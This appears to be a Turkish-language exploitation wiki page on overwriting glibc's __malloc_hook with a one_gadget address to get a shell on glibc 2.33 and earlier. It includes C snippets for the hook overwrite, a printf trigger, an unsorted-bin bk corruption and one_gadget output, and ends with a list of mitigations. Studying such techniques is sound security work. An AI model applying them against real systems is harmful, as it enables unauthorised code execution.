Skip to content

__malloc_hook overwrite

glibc'nin __malloc_hook'unu bir one_gadget ile overwrite et, böylece bir sonraki allocation doğrudan bir execve("/bin/sh") gadget'ına atlasın.

Mechanism

Note

__malloc_hook, libc'nin writable data section'ındaki global, mangle'lanmamış bir function pointer'dır. malloc'un en başında glibc bunu kontrol eder ve non-NULL ise allocate etmek yerine hook(size, caller) çağırır. __free_hook gibi, burada da pointer mangling ya da integrity kontrolü yoktur — buna ulaşan bir arbitrary write kontrollü bir indirect call verir.

malloc'un argümanı kullanışlı bir pointer değil bir size olduğu için, burada system zahmetlidir. Bunun yerine hook'u bir one_gadget'a yönelt — malloc call site'ında register/stack kısıtları sağlandığında execve("/bin/sh", ...) çağıran bir libc adresi. Paralel olan __realloc_hook (realloc tarafından tetiklenir) tam __malloc_hook'un altında durur ve genellikle aynı zincirde overwrite edilir (House of Roman vb.).

Warning

glibc 2.34'te kaldırıldı (2.32'de deprecate edildi). Ayrıca, unsorted bin attack ile klasik eşleşmesi — ki bu, __malloc_hook'a doğru bir fastbin attack tohumlamak için bir hedefe main_arena pointer'ı yazıyordu — glibc 2.29'da eklenen bir bk integrity kontrolü ile etkisiz hale getirildi. Yani bu, hangi bacağı kullandığına bağlı olarak glibc ≤ 2.28 / ≤ 2.33 tekniğidir.

Walkthrough

Açık bir malloc olmadan hook'u tetiklemek için kocaman bir printf width'i kullan (glibc'nin vfprintf'ini bir scratch buffer allocate etmeye zorlar):

// glibc <= 2.33
unsigned long *hook = (unsigned long *)&__malloc_hook;
*hook = libc_base + ONE_GADGET_OFFSET;   // via fastbin/tcache poison
malloc(0x10);                            // -> one_gadget() => execve("/bin/sh")
// or indirectly:
printf("%10000$c");                      // vfprintf mallocs -> hook fires

Write'ı hook'un yakınına düşürmek için daha eski unsorted-bin-attack bacağı (glibc < 2.29):

// how2heap glibc_2.23/unsorted_bin_attack.c
p[1] = (unsigned long)(&target - 2);     // corrupt freed chunk's bk = target-0x10
malloc(0x410);                           // unlink writes &unsortedbin into target

Gadget'ı bul:

$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
        constraints: rsp & 0xf == 0 && rcx == NULL

Beklenen: bir sonraki allocation kontrolü one_gadget'a aktarır ve bir shell verir.

Mitigation

  • glibc ≥ 2.34 hook'u kaldırdı.
  • glibc ≥ 2.29 unsorted-bin bk kontrolünü ekleyerek klasik write-into-hook tohumlamasını kırdı.
  • Modern hedefler bunun yerine exit-handler abuse, TLS dtor hijack veya FSOP gerektirir.

References